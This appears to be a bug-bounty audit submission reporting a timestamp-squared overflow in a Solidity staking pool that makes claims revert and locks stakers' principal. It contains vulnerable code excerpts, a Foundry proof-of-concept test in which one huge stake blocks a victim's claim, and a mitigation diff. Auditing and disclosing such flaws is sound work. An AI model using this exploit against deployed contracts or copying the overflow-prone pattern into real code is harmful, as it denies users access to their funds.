FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Absolute timestamp-square accounting overflows and locks claim payouts

Author Revealed upon completion

Description

  • Normal behavior allows stakers to deposit an allowlisted standard ERC20, then later claim principal plus any bonus after the pool resolves to SURVIVED or EXPIRED. The k=2 bonus formula is intended to compute each staker's time-weighted score and distribute the bonus without blocking principal recovery.

  • The stake path only proves that received * block.timestamp * block.timestamp fits at deposit time. Later, _bonusShare recomputes T * T * userEligible and T * T * snapshotTotalStaked using a larger terminal timestamp. A stake amount accepted at deposit time can therefore overflow during claim-time score calculation before Math.mulDiv is reached, reverting claims and locking staker funds in the pool.

// src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
uint256 contribTime = received * newEntry;
// @> This only checks the deposit timestamp square, not the later terminal timestamp square.
uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
...
uint256 T = outcomeFlaggedAt;
// @> These checked multiplications can overflow before Math.mulDiv is reached.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
// @> A single huge accepted stake can also overflow the global score for every claimant.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
...
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

Risk

Likelihood:

  • Low. The path requires an allowlisted standard ERC20 with an extremely large base-unit supply and a very large stake amount near the uint256 arithmetic boundary.

  • This occurs when an allowlisted standard ERC20 has a very large base-unit supply and a staker deposits an amount that fits the deposit-time timestamp square but exceeds the later terminal-time square bound.

  • This occurs during ordinary claimSurvived or claimExpired execution after time has advanced and the pool snapshots a terminal outcome with the huge stake still included in snapshotTotalStaked.

Impact:

  • Medium. The affected claims revert before payout, causing a denial of principal/bonus recovery through the normal SURVIVED or EXPIRED paths, but there is no direct theft or attacker profit.

  • Claims revert before state updates, so stakers cannot recover principal through the SURVIVED or EXPIRED payout paths.

  • One huge accepted stake can overflow the global score and block smaller victims from claiming, even when the smaller victims did not create the oversized position.

Overall severity: Low. The impact is material claim denial, but the required token supply and stake size make the likelihood low, so the likelihood-impact matrix resolves this as a low-severity finding.

Proof of Concept

Create test/poc/ValidFindingsPoC.t.sol and add the shared imports/helper contracts from the PoC file. The finding-specific test is below.

Run it with:

forge test --match-path test/poc/ValidFindingsPoC.t.sol --match-test testPoC_LargeStakeBlocksVictimClaimByOverflowingGlobalScore -vvv

This PoC uses a standard mock ERC20 and an extremely large stake amount that is accepted at the deposit timestamp. After the pool observes risk and reaches expiry, a small victim's claimExpired() call reverts because _bonusShare overflows on the later terminal timestamp square. The test proves impact by checking the victim remains unclaimed, the victim has no token balance, and the pool still holds the victim's principal plus the rest of the funds.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract SelectiveAttackRegistry {
mapping(address agreement => IAttackRegistry.ContractState state) internal states;
mapping(address account => address agreement) internal bindingAgreement;
function setAgreementState(address agreement, IAttackRegistry.ContractState state) external {
states[agreement] = state;
}
function setAgreementForContract(address account, address agreement) external {
bindingAgreement[account] = agreement;
}
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
return states[agreement];
}
function getAgreementForContract(address account) external view returns (address) {
return bindingAgreement[account];
}
}
contract ValidFindingsPoC is Test {
uint256 internal constant ONE = 1e18;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
address internal sponsor = makeAddr("sponsor");
address internal moderator = makeAddr("moderator");
address internal staker = makeAddr("staker");
address internal attacker = makeAddr("attacker");
address internal recovery = makeAddr("recovery");
address internal victim = makeAddr("victim");
address internal whale = makeAddr("whale");
function _scope() internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = SCOPE_ACCOUNT;
}
function _deployFactory(MockSafeHarborRegistry registry, ConfidencePool implementation)
internal
returns (ConfidencePoolFactory factory)
{
ConfidencePoolFactory impl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(impl),
abi.encodeCall(ConfidencePoolFactory.initialize, (address(registry), address(implementation), moderator))
);
factory = ConfidencePoolFactory(address(proxy));
}
function testPoC_LargeStakeBlocksVictimClaimByOverflowingGlobalScore() external {
uint256 t0 = 1_783_526_400;
uint256 terminalT = 1_786_204_800;
uint256 overflowingStake = 36_292_458_240_890_909_714_123_586_231_047_447_008_444_242_937_108_633_862_720;
vm.warp(t0);
MockERC20 token = new MockERC20();
MockSafeHarborRegistry safeHarborRegistry = new MockSafeHarborRegistry();
SelectiveAttackRegistry attackRegistry = new SelectiveAttackRegistry();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
MockAgreement agreement = new MockAgreement(sponsor);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAgreementValid(address(agreement), true);
attackRegistry.setAgreementState(address(agreement), IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePoolFactory factory = _deployFactory(safeHarborRegistry, new ConfidencePool());
factory.setStakeTokenAllowed(address(token), true);
vm.prank(sponsor);
ConfidencePool pool =
ConfidencePool(factory.createPool(address(agreement), address(token), terminalT, ONE, recovery, _scope()));
token.mint(whale, overflowingStake);
vm.startPrank(whale);
token.approve(address(pool), overflowingStake);
pool.stake(overflowingStake);
vm.stopPrank();
token.mint(victim, ONE);
vm.startPrank(victim);
token.approve(address(pool), ONE);
pool.stake(ONE);
vm.stopPrank();
token.mint(sponsor, ONE);
vm.startPrank(sponsor);
token.approve(address(pool), ONE);
pool.contributeBonus(ONE);
vm.stopPrank();
attackRegistry.setAgreementState(address(agreement), IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(terminalT);
vm.prank(victim);
vm.expectRevert();
pool.claimExpired();
assertFalse(pool.hasClaimed(victim), "victim claim remains unprocessed");
assertEq(token.balanceOf(victim), 0, "victim principal remains locked in the pool");
assertEq(
token.balanceOf(address(pool)), overflowingStake + (2 * ONE), "pool still holds all principal and bonus"
);
}
}

Recommended Mitigation

Enforce a pool-wide stake cap that is safe for the worst-case uint32 terminal timestamp, or change the scoring implementation to use bounded elapsed-time values instead of absolute timestamp squares. The cap below prevents accepted stake from later overflowing the claim-time score terms.

+uint256 private constant _MAX_K2_STAKE =
+ type(uint256).max / (2 * uint256(type(uint32).max) * uint256(type(uint32).max));
+
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ if (totalEligibleStake + received > _MAX_K2_STAKE) revert InvalidAmount();
_clampUserSums(msg.sender);
...
}

Alternatively, store and score bounded elapsed-time deltas instead of absolute timestamp products, or compute the absolute timestamp score terms with 512-bit intermediate arithmetic before subtraction.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!